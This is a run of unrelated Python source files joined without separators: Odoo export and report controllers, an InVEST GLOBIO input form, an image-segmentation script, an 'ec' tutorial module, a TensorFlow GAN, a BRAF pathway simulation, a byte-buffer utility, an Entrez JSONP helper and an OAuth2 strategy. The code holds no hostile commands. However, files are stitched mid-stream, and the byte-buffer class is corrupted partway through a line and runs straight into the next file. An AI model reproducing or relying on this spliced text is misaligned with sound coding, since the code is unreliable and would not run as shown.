sub-fields right after it # * then, group on: the first field of the path (which is the same for # a field and for its subfields and the length of splitting on the # first '/', which basically means grouping the field on one side and # all of the subfields on the other. This way, we have the field (for # the xmlid) with length 1, and all of the subfields with the same # base but a length "flag" of 2 # * if we have a normal field (length 1), just add it to the info # mapping (with its string) as-is # * otherwise, recursively call fields_info via graft_subfields. # all graft_subfields does is take the result of fields_info (on the # field's model) and prepend the current base (current field), which # rebuilds the whole sub-tree for the field # # result: because we're not fetching the fields_get for half the # database models, fetching a namelist with a dozen fields (including # relational data) falls from ~6s to ~300ms (on the leads model). # export lists with no sub-fields (e.g. import_compatible lists with # no o2m) are even more efficient (from the same 6s to ~170ms, as # there's a single fields_get to execute) for (base, length), subfields in itertools.groupby( sorted(export_fields), lambda field: (field.split('/', 1)[0], len(field.split('/', 1)))): subfields = list(subfields) if length == 2: # subfields is a seq of $base/*rest, and not loaded yet info.update(self.graft_subfields( fields[base]['relation'], base, fields[base]['string'], subfields )) elif base in fields: info[base] = fields[base]['string'] return info def graft_subfields(self, model, prefix, prefix_string, fields): export_fields = [field.split('/', 1)[1] for field in fields] return ( (prefix + '/' + k, prefix_string + '/' + v) for k, v in self.fields_info(model, export_fields).items()) class ExportFormat(object): raw_data = False @property def content_type(self): """ Provides the format's content type """ raise NotImplementedError() def filename(self, base): """ Creates a valid filename for the format (with extension) from the provided base name (exension-less) """ raise NotImplementedError() def from_data(self, fields, rows): """ Conversion method from Odoo's export data to whatever the current export class outputs :params list fields: a list of fields to export :params list rows: a list of records to export :returns: :rtype: bytes """ raise NotImplementedError() def base(self, data, token): params = json.loads(data) model, fields, ids, domain, import_compat = \ operator.itemgetter('model', 'fields', 'ids', 'domain', 'import_compat')(params) Model = request.env[model].with_context(import_compat=import_compat, **params.get('context', {})) records = Model.browse(ids) or Model.search(domain, offset=0, limit=False, order=False) if not Model._is_an_ordinary_table(): fields = [field for field in fields if field['name'] != 'id'] field_names = [f['name'] for f in fields] import_data = records.export_data(field_names, self.raw_data).get('datas',[]) if import_compat: columns_headers = field_names else: columns_headers = [val['label'].strip() for val in fields] return request.make_response(self.from_data(columns_headers, import_data), headers=[('Content-Disposition', content_disposition(self.filename(model))), ('Content-Type', self.content_type)], cookies={'fileToken': token}) class CSVExport(ExportFormat, http.Controller): @http.route('/web/export/csv', type='http', auth="user") @serialize_exception def index(self, data, token): return self.base(data, token) @property def content_type(self): return 'text/csv;charset=utf8' def filename(self, base): return base + '.csv' def from_data(self, fields, rows): fp = io.BytesIO() writer = pycompat.csv_writer(fp, quoting=1) writer.writerow(fields) for data in rows: row = [] for d in data: # Spreadsheet apps tend to detect formulas on leading =, + and - if isinstance(d, pycompat.string_types) and d.startswith(('=', '-', '+')): d = "'" + d row.append(pycompat.to_text(d)) writer.writerow(row) return fp.getvalue() class ExcelExport(ExportFormat, http.Controller): # Excel needs raw data to correctly handle numbers and date values raw_data = True @http.route('/web/export/xls', type='http', auth="user") @serialize_exception def index(self, data, token): return self.base(data, token) @property def content_type(self): return 'application/vnd.ms-excel' def filename(self, base): return base + '.xls' def from_data(self, fields, rows): if len(rows) > 65535: raise UserError(_('There are too many rows (%s rows, limit: 65535) to export as Excel 97-2003 (.xls) format. Consider splitting the export.') % len(rows)) workbook = xlwt.Workbook() worksheet = workbook.add_sheet('Sheet 1') for i, fieldname in enumerate(fields): worksheet.write(0, i, fieldname) worksheet.col(i).width = 8000 # around 220 pixels base_style = xlwt.easyxf('align: wrap yes') date_style = xlwt.easyxf('align: wrap yes', num_format_str='YYYY-MM-DD') datetime_style = xlwt.easyxf('align: wrap yes', num_format_str='YYYY-MM-DD HH:mm:SS') for row_index, row in enumerate(rows): for cell_index, cell_value in enumerate(row): cell_style = base_style if isinstance(cell_value, bytes) and not isinstance(cell_value, pycompat.string_types): # because xls uses raw export, we can get a bytes object # here. xlwt does not support bytes values in Python 3 -> # assume this is base64 and decode to a string, if this # fails note that you can't export try: cell_value = pycompat.to_text(cell_value) except UnicodeDecodeError: raise UserError(_("Binary fields can not be exported to Excel unless their content is base64-encoded. That does not seem to be the case for %s.") % fields[cell_index]) if isinstance(cell_value, pycompat.string_types): cell_value = re.sub("\r", " ", pycompat.to_text(cell_value)) # Excel supports a maximum of 32767 characters in each cell: cell_value = cell_value[:32767] elif isinstance(cell_value, datetime.datetime): cell_style = datetime_style elif isinstance(cell_value, datetime.date): cell_style = date_style worksheet.write(row_index + 1, cell_index, cell_value, cell_style) fp = io.BytesIO() workbook.save(fp) fp.seek(0) data = fp.read() fp.close() return data class Apps(http.Controller): @http.route('/apps/', auth='user') def get_app_url(self, req, app): try: record = request.env.ref('base.open_module_tree') action = record.read(['name', 'type', 'res_model', 'view_mode', 'view_type', 'context', 'views', 'domain'])[0] action['target'] = 'current' except ValueError: action = False try: app_id = request.env.ref('base.module_%s' % app).id except ValueError: app_id = False if action and app_id: action['res_id'] = app_id action['view_mode'] = 'form' action['views'] = [(False, u'form')] sakey = Session().save_session_action(action) debug = '?debug' if req.debug else '' return werkzeug.utils.redirect('/web{0}#sa={1}'.format(debug, sakey)) class ReportController(http.Controller): #------------------------------------------------------ # Report controllers #------------------------------------------------------ @http.route([ '/report//', '/report///', ], type='http', auth='user', website=True) def report_routes(self, reportname, docids=None, converter=None, **data): report = request.env['ir.actions.report']._get_report_from_name(reportname) context = dict(request.env.context) if docids: docids = [int(i) for i in docids.split(',')] if data.get('options'): data.update(json.loads(data.pop('options'))) if data.get('context'): # Ignore 'lang' here, because the context in data is the one from the webclient *but* if # the user explicitely wants to change the lang, this mechanism overwrites it. data['context'] = json.loads(data['context']) if data['context'].get('lang'): del data['context']['lang'] context.update(data['context']) if converter == 'html': html = report.with_context(context).render_qweb_html(docids, data=data)[0] return request.make_response(html) elif converter == 'pdf': pdf = report.with_context(context).render_qweb_pdf(docids, data=data)[0] pdfhttpheaders = [('Content-Type', 'application/pdf'), ('Content-Length', len(pdf))] return request.make_response(pdf, headers=pdfhttpheaders) elif converter == 'text': text = report.with_context(context).render_qweb_text(docids, data=data)[0] texthttpheaders = [('Content-Type', 'text/plain'), ('Content-Length', len(text))] return request.make_response(text, headers=texthttpheaders) else: raise werkzeug.exceptions.HTTPException(description='Converter %s not implemented.' % converter) #------------------------------------------------------ # Misc. route utils #------------------------------------------------------ @http.route(['/report/barcode', '/report/barcode//'], type='http', auth="public") def report_barcode(self, type, value, width=600, height=100, humanreadable=0): """Contoller able to render barcode images thanks to reportlab. Samples: :param type: Accepted types: 'Codabar', 'Code11', 'Code128', 'EAN13', 'EAN8', 'Extended39', 'Extended93', 'FIM', 'I2of5', 'MSI', 'POSTNET', 'QR', 'Standard39', 'Standard93', 'UPCA', 'USPS_4State' :param humanreadable: Accepted values: 0 (default) or 1. 1 will insert the readable value at the bottom of the output image """ try: barcode = request.env['ir.actions.report'].barcode(type, value, width=width, height=height, humanreadable=humanreadable) except (ValueError, AttributeError): raise werkzeug.exceptions.HTTPException(description='Cannot convert into barcode.') return request.make_response(barcode, headers=[('Content-Type', 'image/png')]) @http.route(['/report/download'], type='http', auth="user") def report_download(self, data, token): """This function is used by 'action_manager_report.js' in order to trigger the download of a pdf/controller report. :param data: a javascript array JSON.stringified containg report internal url ([0]) and type [1] :returns: Response with a filetoken cookie and an attachment header """ requestcontent = json.loads(data) url, type = requestcontent[0], requestcontent[1] try: if type in ['qweb-pdf', 'qweb-text']: converter = 'pdf' if type == 'qweb-pdf' else 'text' extension = 'pdf' if type == 'qweb-pdf' else 'txt' pattern = '/report/pdf/' if type == 'qweb-pdf' else '/report/text/' reportname = url.split(pattern)[1].split('?')[0] docids = None if '/' in reportname: reportname, docids = reportname.split('/') if docids: # Generic report: response = self.report_routes(reportname, docids=docids, converter=converter) else: # Particular report: data = url_decode(url.split('?')[1]).items() # decoding the args represented in JSON response = self.report_routes(reportname, converter=converter, **dict(data)) report = request.env['ir.actions.report']._get_report_from_name(reportname) filename = "%s.%s" % (report.name, extension) if docids: ids = [int(x) for x in docids.split(",")] obj = request.env[report.model].browse(ids) if report.print_report_name and not len(obj) > 1: report_name = safe_eval(report.print_report_name, {'object': obj, 'time': time}) filename = "%s.%s" % (report_name, extension) response.headers.add('Content-Disposition', content_disposition(filename)) response.set_cookie('fileToken', token) return response else: return except Exception as e: se = _serialize_exception(e) error = { 'code': 200, 'message': "Odoo Server Error", 'data': se } return request.make_response(html_escape(json.dumps(error))) @http.route(['/report/check_wkhtmltopdf'], type='json', auth="user") def check_wkhtmltopdf(self): return request.env['ir.actions.report'].get_wkhtmltopdf_state() # coding=UTF-8 from natcap.invest.ui import model, inputs import natcap.invest.globio class GLOBIO(model.InVESTModel): def __init__(self): model.InVESTModel.__init__( self, label=u'GLOBIO', target=natcap.invest.globio.execute, validator=natcap.invest.globio.validate, localdoc=u'../documentation/globio.html') self.lulc_to_globio_table_uri = inputs.File( args_key=u'lulc_to_globio_table_uri', helptext=( u"A CSV table containing model information " u"corresponding to each of the land use classes in the " u"LULC raster input. It must contain the fields " u"'lucode', 'usle_c', and 'usle_p'. See the InVEST " u"Sediment User's Guide for more information about " u"these fields."), label=u'Landcover to GLOBIO Landcover Table (CSV)', validator=self.validator) self.add_input(self.lulc_to_globio_table_uri) self.aoi_uri = inputs.File( args_key=u'aoi_uri', helptext=( u"This is a set of polygons that can be used to " u"aggregate MSA sum and mean to a polygon."), label=u'AOI (Vector) (optional)', validator=self.validator) self.add_input(self.aoi_uri) self.land_use = inputs.File( args_key=u'lulc_uri', label=u'Land Use/Cover (Raster)', validator=self.validator) self.add_input(self.land_use) self.infrastructure_dir = inputs.Folder( args_key=u'infrastructure_dir', label=u'Infrastructure Directory', validator=self.validator) self.add_input(self.infrastructure_dir) self.pasture_uri = inputs.File( args_key=u'pasture_uri', label=u'Pasture (Raster)', validator=self.validator) self.add_input(self.pasture_uri) self.potential_vegetation_uri = inputs.File( args_key=u'potential_vegetation_uri', label=u'Potential Vegetation (Raster)', validator=self.validator) self.add_input(self.potential_vegetation_uri) self.primary_threshold = inputs.Text( args_key=u'primary_threshold', label=u'Primary Threshold', validator=self.validator) self.add_input(self.primary_threshold) self.pasture_threshold = inputs.Text( args_key=u'pasture_threshold', label=u'Pasture Threshold', validator=self.validator) self.add_input(self.pasture_threshold) self.intensification_fraction = inputs.Text( args_key=u'intensification_fraction', helptext=( u"A value between 0 and 1 denoting proportion of total " u"agriculture that should be classified as 'high " u"input'."), label=u'Proportion of of Agriculture Intensified', validator=self.validator) self.add_input(self.intensification_fraction) self.msa_parameters_uri = inputs.File( args_key=u'msa_parameters_uri', helptext=( u"A CSV table containing MSA threshold values as " u"defined in the user's guide. Provided for advanced " u"users that may wish to change those values."), label=u'MSA Parameter Table (CSV)', validator=self.validator) self.add_input(self.msa_parameters_uri) self.predefined_globio = inputs.Container( args_key=u'predefined_globio', expandable=True, expanded=False, label=u'Predefined land use map for GLOBIO') self.add_input(self.predefined_globio) self.globio_land_use = inputs.File( args_key=u'globio_lulc_uri', label=u'GLOBIO Classified Land Use (Raster)', validator=self.validator) self.predefined_globio.add_input(self.globio_land_use) # Set interactivity, requirement as input sufficiency changes self.predefined_globio.sufficiency_changed.connect( self._predefined_globio_toggled) def _predefined_globio_toggled(self, use_predefined): self.lulc_to_globio_table_uri.set_interactive(not use_predefined) self.land_use.set_interactive(not use_predefined) self.pasture_uri.set_interactive(not use_predefined) self.potential_vegetation_uri.set_interactive(not use_predefined) self.primary_threshold.set_interactive(not use_predefined) self.pasture_threshold.set_interactive(not use_predefined) def assemble_args(self): args = { self.workspace.args_key: self.workspace.value(), self.suffix.args_key: self.suffix.value(), self.lulc_to_globio_table_uri.args_key: self.lulc_to_globio_table_uri.value(), self.aoi_uri.args_key: self.aoi_uri.value(), self.land_use.args_key: self.land_use.value(), self.infrastructure_dir.args_key: self.infrastructure_dir.value(), self.pasture_uri.args_key: self.pasture_uri.value(), self.potential_vegetation_uri.args_key: self.potential_vegetation_uri.value(), self.primary_threshold.args_key: self.primary_threshold.value(), self.pasture_threshold.args_key: self.pasture_threshold.value(), self.intensification_fraction.args_key: self.intensification_fraction.value(), self.msa_parameters_uri.args_key: self.msa_parameters_uri.value(), self.predefined_globio.args_key: self.predefined_globio.value(), } if self.predefined_globio.value(): args[self.globio_land_use.args_key] = self.globio_land_use.value() return args import os import argparse import cv2 def remove_border_segmentations(input_file, output_file): """Remove segments that touch the image border.""" im = cv2.imread(input_file, -1) xdim, ydim = im.shape print('xdim {}; ydim {}'.format(xdim, ydim)) # Identify any segments that touch the image border. border_seg_ids = set() border_seg_ids.update(set(im[0,:])) border_seg_ids.update(set(im[:,0])) border_seg_ids.update(set(im[xdim-1,:])) border_seg_ids.update(set(im[:,ydim-1])) # Remove those segments. for bs_id in border_seg_ids: mask = ( im != bs_id ) im = im * mask cv2.imwrite(output_file, im) def main(): parser = argparse.ArgumentParser(description=__doc__) parser.add_argument('input_file', help='Input image file') parser.add_argument('output_file', help='Output image file') args = parser.parse_args() if not os.path.isfile(args.input_file): parser.error('No such file: {}'.format(args.input_file)) remove_border_segmentations(args.input_file, args.output_file) if __name__ == '__main__': main() Laufire/ec r""" Everything about using ec. this module is designed to be a nut shell guide to ec and as a way to enable test driven development. Notes ----- * The decorators task, arg and group are available as __builtins__, when the script is launched using ec. * DocStrings of the tasks could be used by external modules (like sphinx). This is one of the key factors of developing ec, apart from it's predecessor Commander. """ from ec.ec import task, arg, group, module, member, call, settings, exit_hook, throw from ec.utils import get from ec.types import regex @task @arg(type=int, desc='Some int') # configure the first arg @arg('arg2', type=int) # configure the arg named 'arg2'. def task1(arg1, arg3=3, arg2=2): r"""A simple task, at the root of the script. * Note that the order of input collection will follow the order of configuration (in this case arg1 and then arg2). * Any unconfigured args will be collected after the collection of the configured args (hence arg3 will be collected as the last arg). * Since a name isn't specified in @task, the name of the task, *simple* will be used as the name of this task. """ print arg1, arg2, arg3 @group(alias='i', desc='A group.') class intro: r""" Groups can contain tasks and other groups within them. This group has an alias; thus could be identified as **intro** or **i**. Tasks to could have aliases. """ @task(name='simple') @arg('arg1', desc='Some string') def renamed_task(arg1): r"""A task within a group. * This task can be accessed as intro/simple. * Notice the missing **self** arg. * @task.name, **simple** will be the name of this task, not the function name **renamed_task**. """ intro.log('%s, from %s.' % (arg1, intro.name)) @task def wrapper(): r"""Calls nut_shell.simple with some arguments, the args that aren't provided will be collected. """ call(simple, arg1=1, arg2=2) @task def get(): r"""Get user input through utils.get. """ print get(desc='Email id', type=regex.email) def log(message): r"""A helper method. """ print message name = 'intro' # Groups could even have variables. @task @arg(type=lambda v: (int(v) if int(v) > 10 else throw()), desc='Some int', type_str='a number greater than 10') # a lambda as a custom type def task2(arg1): print arg1 # importing other ec modules import simple member(simple) # member() is used to expose imported members as the children of the current module @exit_hook def clean_up(): # exit hooks are called when ec exits. There may be more than one hook. print ':)' module(desc='A module to test decorator based configuration.') # module is an optional call, used to configure the group that wraps current module. settings(silent=False) # settings for ec gan_class.py10-100 import tensorflow as tf import numpy as np #import matplotlib.pyplot as plt #import pandas as pd import time import sys import json import pickle import random from scipy import signal # %matplotlib inline """# CLASS GAN - create a GAN defining batch_size, sample_size, noise_size and probability for dropout function - methods: > * create_placeholders: return placeholders for noise_data, times_data, real_daya >* generative: generator(G) part with 4 level of deconvolution takes in input noise_data and times_data >* discriminative: discriminator(D) part with 3 level of convolution takes in input real_data or generate_data and gives in output 0 or 1 >* get_losses: gives in output loss functions for G and D >* get_optimizers: gives in output optimizers for G is a GradientDescendentOptimizer for D a AdamOptimizer """ class GAN(): def __init__(self, batch_size, sample_size, noise_size, keep_prob=0.8): self.batch_size = batch_size self.out = sample_size self.keep_prob = keep_prob self.len_samples = sample_size self.noise_size = noise_size def create_placeholders(self): z_placeholder = tf.placeholder(dtype=tf.float32, shape=( None, self.len_samples)) # placeholder per input_noise y_placeholder = tf.placeholder( dtype=tf.float32, shape=(None, self.len_samples)) x_placeholder = tf.placeholder( tf.float32, shape=(None, self.len_samples)) return z_placeholder, y_placeholder, x_placeholder def generative(self, z, y, reuse=False, is_train=True): with tf.variable_scope('generator') as scope: if(reuse): tf.get_variable_scope().reuse_variables() # make conv2_d_traspose # make weights s = self.out s2, s5, s10 = int(s / 2), int(s / 5), int(s / 10) print(z.shape, y.shape) z = tf.concat(values=[z, y], axis=1) z = tf.reshape(z, [self.batch_size, 1, 1, int(z.get_shape()[1])]) print('z',z.shape) w_init = tf.truncated_normal_initializer(mean=0.0, stddev=0.02) b_init = tf.constant_initializer(0.0) l1 = tf.layers.conv2d_transpose( inputs=z, filters=s10, kernel_size=1, kernel_initializer=w_init, bias_initializer=b_init) l1 = tf.contrib.layers.batch_norm( inputs=l1, center=True, scale=True, is_training=is_train, scope="g_bn1") l1 = tf.nn.relu(l1) l2 = tf.layers.conv2d_transpose( inputs=l1, filters=s5, kernel_size=1, kernel_initializer=w_init, bias_initializer=b_init) l2 = tf.contrib.layers.batch_norm( inputs=l2, center=True, scale=True, is_training=is_train, scope="g_bn2") l2 = tf.nn.relu(l2) l3 = tf.layers.conv2d_transpose( inputs=l2, filters=s2, kernel_size=1, kernel_initializer=w_init, bias_initializer=b_init) l3 = tf.contrib.layers.batch_norm( inputs=l3, center=True, scale=True, is_training=is_train, scope="g_bn3") l3 = tf.nn.relu(l3) l4 = tf.layers.conv2d_transpose( inputs=l3, filters=s, kernel_size=1, kernel_initializer=w_init, bias_initializer=b_init) #l4 = tf.contrib.layers.fully_connected(l4) return tf.reshape(l4, [self.batch_size, self.out]) def lrelu(self, x, th=0.2): return tf.maximum(th * x, x) def discriminative(self, x, y, reuse=False, is_train=True): keep_prob = self.keep_prob with tf.variable_scope('discriminator') as scope: if (reuse): tf.get_variable_scope().reuse_variables() x = tf.concat([x,y],axis=1) x = tf.reshape(x,[-1, 2, y.shape[1], 1]) num_values = y.shape[1] conv1 = tf.layers.conv2d( inputs=x, filters=25, kernel_size=[1, 5], padding="same", activation=tf.nn.relu) pool1 = tf.layers.max_pooling2d( inputs=conv1, pool_size=[1, 2], strides=2) # conv2 conv2 = tf.layers.conv2d( inputs=conv1, filters=50, kernel_size=[1, 5], padding="same", activation=tf.nn.relu) print(conv2.shape) pool2 = tf.layers.max_pooling2d( inputs=conv2, pool_size=[1, 2], strides=2) # dense_layer pool2_flat = tf.reshape(pool2, [-1, 1 * pool2.shape[2] * 50]) dense = tf.layers.dense(inputs=pool2_flat, units=10 * 25 * num_values, activation=tf.nn.relu) dropout = tf.layers.dropout( inputs=dense, rate=0.4, training=True) print(dropout.shape) logits = dropout # logits logits = tf.layers.dense(inputs=dropout, units=2) return logits def get_losses(self, Dx, Dg, Gz): d_loss_real = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits( logits=Dx, labels=tf.ones_like(Dx))) d_loss_fake = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits( logits=Dg, labels=tf.zeros_like(Dg))) d_loss = d_loss_fake + d_loss_real g_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits( logits=Dg, labels=tf.ones_like(Dg))) return d_loss, g_loss def get_optimizers(self, d_loss, g_loss): tvars = tf.trainable_variables() d_vars = [var for var in tvars if 'discriminator' in var.name] print(d_vars) g_vars = [var for var in tvars if 'generator' in var.name] adam = tf.train.AdamOptimizer() trainerD = adam.minimize(d_loss, var_list=d_vars) # gen = tf.train.GradientDescentOptimizer(learning_rate=0.8) gen = tf.train.AdamOptimizer() trainerG = gen.minimize(g_loss, var_list=g_vars) return trainerD, trainerG pupster90/indramodels/braf_model/run_model.py from __future__ import absolute_import, print_function, unicode_literals from builtins import dict, str import os import pickle import matplotlib import numpy as np # To suppress plots from popping up import matplotlib.pyplot as plt from pysb.integrate import Solver from pysb.bng import generate_equations from pysb.export import export from indra.util.plot_formatting import * import assemble_model def simulate_untreated(model, ts, egf_dose=1000): model.parameters['EGF_0'].value = egf_dose model.parameters['VEMURAFENIB_0'].value = 0 solver = Solver(model, ts) solver.run() return (solver.yobs, solver.y) def simulate_vemurafenib_treatment(model, ts, y0): # New initial conditions for simulation post event y_init = y0 y_init[model.observables['Vem_free'].species[0]] = 2e5 # Continue model simulation with y_init as new initial condition solver = Solver(model, ts) solver.run(y0=y_init) # Concatenate the two simulations return solver.yobs, solver.y def is_steady_state(y): for k in y.dtype.fields.keys(): d = np.diff(y[k]) if not all(abs(d) < max(abs(y[k]))*0.01): return False return True def get_steady_state(model, y0): sim_hours = 1 t = np.linspace(0, sim_hours*3600, sim_hours*60) solver = Solver(model, t) ss = False y_init = y0 while not ss: solver.run(y0=y_init) ss = is_steady_state(solver.yobs) y_init = solver.y[-1] steady_state = solver.yobs[-1] timecourse = solver.yobs return steady_state, timecourse def plot_fold_change_time(ts, yobs, yobs_ref, save_plot): erk_foldchange = yobs['ERK_p'] / yobs_ref['ERK_p'] ras_foldchange = yobs['RAS_active'] / yobs_ref['RAS_active'] plt.figure(figsize=(2, 2), dpi=300) set_fig_params() plt.plot(ts, erk_foldchange, 'b') plt.plot(ts, ras_foldchange, 'g') plt.xticks([]) plt.xlabel('Time (a.u)', fontsize=7) plt.xlim([0, 30000]) plt.ylabel('Fold-change after Vemurafenib treatment', fontsize=7) plt.legend(['Phosphorylated ERK', 'Active RAS'], fontsize=7) ax = plt.gca() format_axis(ax) plt.savefig(save_plot) plt.clf() def get_egf_vem_doseresp(egf_doses, vem_doses, readout='absolute'): erk = np.zeros((len(egf_doses), len(vem_doses))) ras = np.zeros((len(egf_doses), len(vem_doses))) for i, ed in enumerate(egf_doses): yobs0, y0 = simulate_untreated(model, ts, ed) for j, vd in enumerate(vem_doses): y0_last = y0[-1] y0_last[model.observables['Vem_free'].species[0]] = vd yobs_ss, yobs_tc = get_steady_state(model, y0_last) if readout == 'absolute': erk[i,j] = yobs_ss['ERK_p'] ras[i,j] = yobs_ss['RAS_active'] elif readout == 'foldchange': erk[i,j] = yobs_ss['ERK_p'] / yobs0['ERK_p'][-1] ras[i,j] = yobs_ss['RAS_active'] / yobs0['RAS_active'][-1] elif readout == 'ss_min_diff': erk[i,j] = yobs_ss['ERK_p'] - yobs_tc['ERK_p'].min() ras[i,j] = yobs_ss['RAS_active'] return erk, ras def plot_egf_vem_dose(egf_doses, vem_doses, erk, ras, save_plot): cmap = plt.get_cmap('jet') plt.figure(figsize=(3, 3), dpi=300) set_fig_params() f, (ax1, ax2) = plt.subplots(1, 2) max_erk = np.amax(erk) + 1 max_ras = np.amax(ras) + 1 f1 = ax1.imshow(np.flipud(ras), cmap=cmap, vmin=0, vmax=max_ras, interpolation='hermite') ax1.set_title('Active RAS') ax1.set_xlabel('[Vemurafenib]', fontsize=7) ax1.set_ylabel('[EGF]', fontsize=7) ax1.set_xticks([]) ax1.set_yticks([]) ax1.set_aspect('equal') cb = f.colorbar(f1, ax=ax1, fraction=0.05, pad=0.05) cb.set_ticks([0, max_ras]) f2 = ax2.imshow(np.flipud(erk), cmap=cmap, vmin=0, vmax=max_erk, interpolation='hermite') ax2.set_title('pERK rebound') ax2.set_xlabel('[Vemurafenib]', fontsize=7) ax2.set_ylabel('[EGF]', fontsize=7) ax2.set_aspect('equal') ax2.set_xticks([]) ax2.set_yticks([]) cb = f.colorbar(f2, ax=ax2, fraction=0.05, pad=0.05) cb.set_ticks([0, max_erk]) format_axis(ax1) format_axis(ax2) f.savefig(save_plot) def load_model(model_id): model = pickle.load(open('model%d.pkl' % model_id, 'rb')) return model def save_model(model): with open('model%d.pkl' % model_id, 'wb') as fh: pickle.dump(model, fh) def print_statistics(model): print('# monomers: %d' % len(model.monomers)) print('# rules: %d' % len(model.rules)) p_rate = [p for p in model.parameters if p.name.startswith('k')] print('# rate constants: %d' % len(p_rate)) print('# initial conditions: %d' % len(model.initial_conditions)) print('# ODEs: %d' % len(model.odes)) def export_memi(model, formats, version): for f in formats: model_export = export(model, f) extension = (f if f != 'pysb_flat' else 'py') fname = 'MEMI%s.%s' % (version, extension) with open(fname, 'wb') as fh: fh.write(model_export) if __name__ == '__main__': sim_hours = 10 ts = np.linspace(0, sim_hours*3600, sim_hours*60) egf_doses = np.logspace(1, 4, 9) vem_doses = np.logspace(4, 6, 9) for model_id in (1, 2, 3): print('Running model %d' % model_id) print('----------------') if os.path.exists('model%d.pkl' % model_id): model = load_model(model_id) else: model = assemble_model.assemble_model(model_id) generate_equations(model) save_model(model) print_statistics(model) # Run time-course simulation yobs1, y1 = simulate_untreated(model, ts) yobs2, y2 = simulate_vemurafenib_treatment(model, ts, y1[-1]) plot_fold_change_time(ts, yobs2, yobs1[-1], 'model%s_vem_time.pdf' % model_id) # Run dose response experiments erk_foldchange, ras_foldchange = \ get_egf_vem_doseresp(egf_doses, vem_doses, 'ss_min_diff') plot_egf_vem_dose(egf_doses, vem_doses, erk_foldchange, ras_foldchange, 'model%s_egf_vem_dose.pdf' % model_id) # Save results of dose response runs with open('doseresp_result_model%d.pkl' % model_id, 'wb') as fh: pickle.dump([egf_doses, vem_doses, erk_foldchange, ras_foldchange], fh) # Export models in various formats version = '1.%d' % (model_id-1) formats = ['sbml', 'bngl', 'kappa', 'pysb_flat'] export_memi(model, formats, version) dkuwahara/bncs.py from calendar import timegm from datetime import datetime, timedelta, tzinfo from struct import pack, unpack, calcsize def make_dword(str): """Converts a 4-byte string into a DWORD.""" if len(str) != 4: raise ValueError("DWORD string must be exactly 4 characters.") return unpack('>I', str.encode('ascii'))[0] def to_hex(b, sep=''): """Converts bytes into a hex string.""" if isinstance(b, int): return ("00" + hex(b)[2:])[-2:] elif isinstance(b, (bytes, bytearray)): s = b.hex() if len(s) > 2 and sep and len(sep) > 0: nlen = len(s) + (len(sep) * int(len(s) / 2)) for i in range(2, nlen - len(sep), 2 + len(sep)): s = s[:i] + sep + s[i:] return s else: raise TypeError("Unable to convert type '%s' to hex string." % type(b).__name__) def format_buffer(data): """Formats a data buffer as byte values and characters.""" if len(data) == 0: return if isinstance(data, (DataBuffer, DataReader)): data = data.data data_length = len(data) mod = data_length % 16 ret = '' # Format _most_ of the buffer. for i in range(0, len(data)): if i != 0 and i % 16 == 0: ret += '\t' # 16 bytes at a time for j in range(i - 16, i): ret += ('.' if data[j] < 0x20 or data[j] > 0x7F else chr(data[j])) ret += '\n' ret += ('00' + hex(data[i])[2:])[-2:] + ' ' # If the buffer length isn't a multiple of 16, add padding. if mod != 0: ret = ret.ljust(len(ret) + ((16 - mod) * 3)) j = (data_length - mod) else: j = data_length - 16 ret += '\t' # Finish the line for j in range(j, data_length): ret += ('.' if data[j] < 0x20 or data[j] > 0x7F else chr(data[j])) return ret + '\n' _EPOCH_AS_FILETIME = 116444736000000000 _HUNDREDS_OF_NANOS = 10000000 _ZERO = timedelta(0) class _UTC(tzinfo): def utcoffset(self, dt): return _ZERO def tzname(self, dt): return "UTC" def dst(self, dt): return _ZERO _utc = _UTC() class DataBuffer(object): def __init__(self, data=None): if isinstance(data, (bytes, bytearray)): self.data = data else: self.data = b'' if isinstance(data, str): self.insert_string(data) elif isinstance(data, int): self.insert_dword(data) elif data is not None: raise TypeError("Unsupported generic import type.") def __len__(self): """Returns the length of the data buffer in bytes.""" return len(self.data) def __str__(self): return format_buffer(self.data) def insert_raw(self, data): """Inserts raw binary data into the buffer. Can be a string, bytes, or a DataBuffer.""" if isinstance(data, str): self.data += data.encode('ascii') elif isinstance(data, (DataBuffer, DataReader)): self.data += data.data else: self.data += data def insert_byte(self, b): """Inserts a single, unsigned byte into the buffer.""" self.insert_raw(pack('= len(self.data)abhishektiwari/BioJSONUtils #! /usr/bin/env python # -*- coding: utf8 -*- # Copyright © 2010 () # # This file is part of BioJSONUtils. # # Files included in this package BioJSONUtils are copyrighted freeware # distributed under the terms and conditions as specified in file LICENSE. from Bio import Entrez from flask import json ENTREZ_TOOL = "MolSeekSandbox" class EUtils: """ NCBI Entrez web-services handling """ @classmethod def call_and_cache_result(eclass, efunction, callback_id, email_id, **options): handle = efunction(tool=ENTREZ_TOOL, email=email_id, **options) record = Entrez.read(handle) return json_response(record, callback_id) @classmethod def egquery(eclass, callback_id, email_id, **options): return eclass.call_and_cache_result(Entrez.egquery, callback_id, email_id, **options) @classmethod def esearch(eclass, callback_id, email_id, **options): return eclass.call_and_cache_result(Entrez.esearch, callback_id, email_id, **options) def json_response(record, callback_id): """ Helper to handle JSON/JSONP calls """ if callback_id == None: return json.dumps(record) else: data = json.dumps(record) response = "%s(%s)" % (callback_id, data) return response import os import warnings from abc import abstractmethod from flask import ( Flask, Blueprint, Request as FlaskRequest, session, redirect, url_for, request, ) from werkzeug.wrappers import Request from requests_oauthlib import OAuth2Session # type: ignore from requests_oauthlib.compliance_fixes import facebook_compliance_fix # type: ignore from customs.exceptions import UnauthorizedException from customs.strategies.base_strategy import BaseStrategy from typing import Any, Dict, List, Optional, Union class OAuth2Strategy(BaseStrategy): """[summary] Args: client_id (str): [description] client_secret (str): [description] scopes (Optional[List[str]], optional): [description]. Defaults to None. enable_insecure (bool, optional): [description]. Defaults to False. endpoint_prefix (Optional[str], optional): [description]. Defaults to None. """ def __init__( self, client_id: str, client_secret: str, scopes: Optional[List[str]] = None, enable_insecure: bool = False, endpoint_prefix: Optional[str] = None, ) -> None: # Store the input arguments self.client_id = client_id self.client_secret = client_secret if scopes is not None: self.scopes = scopes # type: ignore if endpoint_prefix is None: self.endpoint_prefix = f"/auth/{self.name}" else: self.endpoint_prefix = endpoint_prefix # This should be disabled in production, but for testing we can stop enforcing HTTPS if enable_insecure: warnings.warn("Insecure OAuth transport is enabled") os.environ["OAUTHLIB_INSECURE_TRANSPORT"] = "1" # Initialize the rest of the strategy super().__init__() # Ensure sessions are enabled if self._customs is not None: assert ( self._customs.use_sessions ), f"{self.name.capitalize()} authentication requires sessions to be enabled" @property # 